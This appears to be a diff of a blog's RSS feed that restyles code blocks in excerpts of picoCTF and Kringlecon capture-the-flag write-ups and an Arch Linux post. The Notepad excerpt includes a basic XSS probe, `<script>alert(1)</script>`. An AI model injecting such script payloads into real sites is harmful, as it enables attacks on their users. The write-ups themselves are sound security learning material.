&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -115,7 +115,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
@@ -125,7 +125,7 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>JAuth</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</link><pubDate>Tue, 22 Feb 2022 14:49:34 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</guid><description>&lt;p&gt;The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at &lt;a href="http://saturn.picoctf.net:52025/"&gt;http://saturn.picoctf.net:52025/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The goal is to become an &lt;code&gt;admin&lt;/code&gt;.
@@ -133,7 +133,7 @@ We are provied with the username &lt;code&gt;test&lt;/code&gt; and the password
&lt;p&gt;The challenge is a dummy bank portal. On login, we see the message:&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -5,7 +5,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item></channel></rss>

View File

@@ -6,6 +6,6 @@
&lt;p&gt;Since the mileage for second step might vary from person to person, I&amp;rsquo;ll elaborate on the first step.&lt;/p&gt;
&lt;p&gt;I chose &lt;a href="https://codeberg.org/jbruchon/jdupes"&gt;jdupes&lt;/a&gt; for deleting the duplicates because it&amp;rsquo;s open-source and is cross platform.&lt;/p&gt;
&lt;p&gt;For a given folder we would run the following to wipe the duplicates:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.&lt;/p&gt;</description></item></channel></rss>

View File

@@ -5,5 +5,5 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -30,6 +30,6 @@ easy to setup Arch for gaming, thanks to programs like &lt;a href="https://lutri
&lt;p&gt;Since the mileage for second step might vary from person to person, I&amp;rsquo;ll elaborate on the first step.&lt;/p&gt;
&lt;p&gt;I chose &lt;a href="https://codeberg.org/jbruchon/jdupes"&gt;jdupes&lt;/a&gt; for deleting the duplicates because it&amp;rsquo;s open-source and is cross platform.&lt;/p&gt;
&lt;p&gt;For a given folder we would run the following to wipe the duplicates:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.&lt;/p&gt;</description></item></channel></rss>